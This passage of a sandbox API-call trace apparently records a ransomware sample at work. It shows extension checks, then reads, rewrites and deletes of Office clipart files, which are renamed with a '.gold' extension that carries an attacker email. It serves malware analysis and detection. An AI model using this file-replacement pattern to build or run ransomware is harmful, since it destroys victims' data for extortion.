[0112.878] lstrlenW (lpString=".docx") returned 5 [0112.878] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0112.878] lstrlenW (lpString=".pdf") returned 4 [0112.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.878] lstrlenW (lpString=".xls") returned 4 [0112.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.878] lstrlenW (lpString=".xlsx") returned 5 [0112.878] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0112.878] lstrlenW (lpString=".ppt") returned 4 [0112.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.878] lstrlenW (lpString=".zip") returned 4 [0112.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.878] lstrlenW (lpString=".rar") returned 4 [0112.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.878] lstrlenW (lpString=".bz2") returned 4 [0112.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.878] lstrlenW (lpString=".7z") returned 3 [0112.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.878] lstrlenW (lpString=".dbf") returned 4 [0112.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.878] lstrlenW (lpString=".1cd") returned 4 [0112.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.879] lstrlenW (lpString=".jpg") returned 4 [0112.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.879] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0112.879] lstrlenW (lpString="J0183574.WMF") returned 12 [0112.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0113.070] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=19274) returned 1 [0113.070] CloseHandle (hObject=0x188) returned 1 [0113.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf")) returned 0x20 [0113.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.089] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.089] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0113.090] GetLastError () returned 0x0 [0113.090] ReadFile (in: hFile=0x3e0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4b4a, lpOverlapped=0x0) returned 1 [0113.092] WriteFile (in: hFile=0x39c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4b50, lpOverlapped=0x0) returned 1 [0113.092] ReadFile (in: hFile=0x3e0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.092] WriteFile (in: hFile=0x39c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.093] SetEndOfFile (hFile=0x39c) returned 1 [0113.093] CloseHandle (hObject=0x39c) returned 1 [0113.093] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.093] SetEndOfFile (hFile=0x3e0) returned 1 [0113.095] CloseHandle (hObject=0x3e0) returned 1 [0113.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf")) returned 1 [0113.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.096] lstrlenW (lpString=".doc") returned 4 [0113.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.096] lstrlenW (lpString=".docx") returned 5 [0113.096] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0113.096] lstrlenW (lpString=".pdf") returned 4 [0113.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.096] lstrlenW (lpString=".xls") returned 4 [0113.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.096] lstrlenW (lpString=".xlsx") returned 5 [0113.096] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0113.096] lstrlenW (lpString=".ppt") returned 4 [0113.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.096] lstrlenW (lpString=".zip") returned 4 [0113.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.096] lstrlenW (lpString=".rar") returned 4 [0113.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.096] lstrlenW (lpString=".bz2") returned 4 [0113.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.096] lstrlenW (lpString=".7z") returned 3 [0113.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.096] lstrlenW (lpString=".dbf") returned 4 [0113.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.097] lstrlenW (lpString=".1cd") returned 4 [0113.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.097] lstrlenW (lpString=".jpg") returned 4 [0113.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.097] lstrlenW (lpString=".doc") returned 4 [0113.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.097] lstrlenW (lpString=".docx") returned 5 [0113.097] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0113.097] lstrlenW (lpString=".pdf") returned 4 [0113.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.097] lstrlenW (lpString=".xls") returned 4 [0113.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.097] lstrlenW (lpString=".xlsx") returned 5 [0113.097] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0113.097] lstrlenW (lpString=".ppt") returned 4 [0113.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.097] lstrlenW (lpString=".zip") returned 4 [0113.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.097] lstrlenW (lpString=".rar") returned 4 [0113.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.097] lstrlenW (lpString=".bz2") returned 4 [0113.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.097] lstrlenW (lpString=".7z") returned 3 [0113.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.097] lstrlenW (lpString=".dbf") returned 4 [0113.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.097] lstrlenW (lpString=".1cd") returned 4 [0113.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0113.097] lstrlenW (lpString=".jpg") returned 4 [0113.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.097] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.097] lstrlenW (lpString="J0185796.WMF") returned 12 [0113.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.270] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=25868) returned 1 [0113.270] CloseHandle (hObject=0x3e0) returned 1 [0113.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf")) returned 0x20 [0113.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.478] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.478] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.491] GetLastError () returned 0x0 [0113.491] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x650c, lpOverlapped=0x0) returned 1 [0113.518] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x6510, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x6510, lpOverlapped=0x0) returned 1 [0113.519] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.519] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.519] SetEndOfFile (hFile=0x194) returned 1 [0113.519] CloseHandle (hObject=0x194) returned 1 [0113.519] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.519] SetEndOfFile (hFile=0x198) returned 1 [0113.521] CloseHandle (hObject=0x198) returned 1 [0113.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf")) returned 1 [0113.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.564] lstrlenW (lpString=".doc") returned 4 [0113.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.565] lstrlenW (lpString=".docx") returned 5 [0113.565] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0113.565] lstrlenW (lpString=".pdf") returned 4 [0113.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.565] lstrlenW (lpString=".xls") returned 4 [0113.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.565] lstrlenW (lpString=".xlsx") returned 5 [0113.565] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0113.565] lstrlenW (lpString=".ppt") returned 4 [0113.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.565] lstrlenW (lpString=".zip") returned 4 [0113.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.565] lstrlenW (lpString=".rar") returned 4 [0113.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.565] lstrlenW (lpString=".bz2") returned 4 [0113.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.565] lstrlenW (lpString=".7z") returned 3 [0113.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.565] lstrlenW (lpString=".dbf") returned 4 [0113.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.565] lstrlenW (lpString=".1cd") returned 4 [0113.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.565] lstrlenW (lpString=".jpg") returned 4 [0113.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.565] lstrlenW (lpString=".doc") returned 4 [0113.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.565] lstrlenW (lpString=".docx") returned 5 [0113.565] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0113.565] lstrlenW (lpString=".pdf") returned 4 [0113.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.565] lstrlenW (lpString=".xls") returned 4 [0113.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.566] lstrlenW (lpString=".xlsx") returned 5 [0113.566] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0113.566] lstrlenW (lpString=".ppt") returned 4 [0113.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.566] lstrlenW (lpString=".zip") returned 4 [0113.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.566] lstrlenW (lpString=".rar") returned 4 [0113.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.566] lstrlenW (lpString=".bz2") returned 4 [0113.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.566] lstrlenW (lpString=".7z") returned 3 [0113.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.566] lstrlenW (lpString=".dbf") returned 4 [0113.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.566] lstrlenW (lpString=".1cd") returned 4 [0113.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0113.566] lstrlenW (lpString=".jpg") returned 4 [0113.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.567] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.567] lstrlenW (lpString="J0187829.WMF") returned 12 [0113.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.567] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=12352) returned 1 [0113.568] CloseHandle (hObject=0x3b8) returned 1 [0113.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf")) returned 0x20 [0113.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.568] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.568] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.569] GetLastError () returned 0x0 [0113.569] ReadFile (in: hFile=0x3b8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x3040, lpOverlapped=0x0) returned 1 [0113.587] WriteFile (in: hFile=0x3e0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3050, lpOverlapped=0x0) returned 1 [0113.588] ReadFile (in: hFile=0x3b8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.588] WriteFile (in: hFile=0x3e0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.588] SetEndOfFile (hFile=0x3e0) returned 1 [0113.588] CloseHandle (hObject=0x3e0) returned 1 [0113.588] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.588] SetEndOfFile (hFile=0x3b8) returned 1 [0113.590] CloseHandle (hObject=0x3b8) returned 1 [0113.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf")) returned 1 [0113.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.592] lstrlenW (lpString=".doc") returned 4 [0113.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.592] lstrlenW (lpString=".docx") returned 5 [0113.592] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.592] lstrlenW (lpString=".pdf") returned 4 [0113.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.593] lstrlenW (lpString=".xls") returned 4 [0113.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.593] lstrlenW (lpString=".xlsx") returned 5 [0113.593] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.593] lstrlenW (lpString=".ppt") returned 4 [0113.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.593] lstrlenW (lpString=".zip") returned 4 [0113.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.593] lstrlenW (lpString=".rar") returned 4 [0113.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.593] lstrlenW (lpString=".bz2") returned 4 [0113.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.593] lstrlenW (lpString=".7z") returned 3 [0113.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.593] lstrlenW (lpString=".dbf") returned 4 [0113.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.593] lstrlenW (lpString=".1cd") returned 4 [0113.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.593] lstrlenW (lpString=".jpg") returned 4 [0113.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.593] lstrlenW (lpString=".doc") returned 4 [0113.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.593] lstrlenW (lpString=".docx") returned 5 [0113.593] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.593] lstrlenW (lpString=".pdf") returned 4 [0113.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.593] lstrlenW (lpString=".xls") returned 4 [0113.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.593] lstrlenW (lpString=".xlsx") returned 5 [0113.594] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.594] lstrlenW (lpString=".ppt") returned 4 [0113.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned 63 [0113.594] lstrlenW (lpString=".zip") returned 4 [0113.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 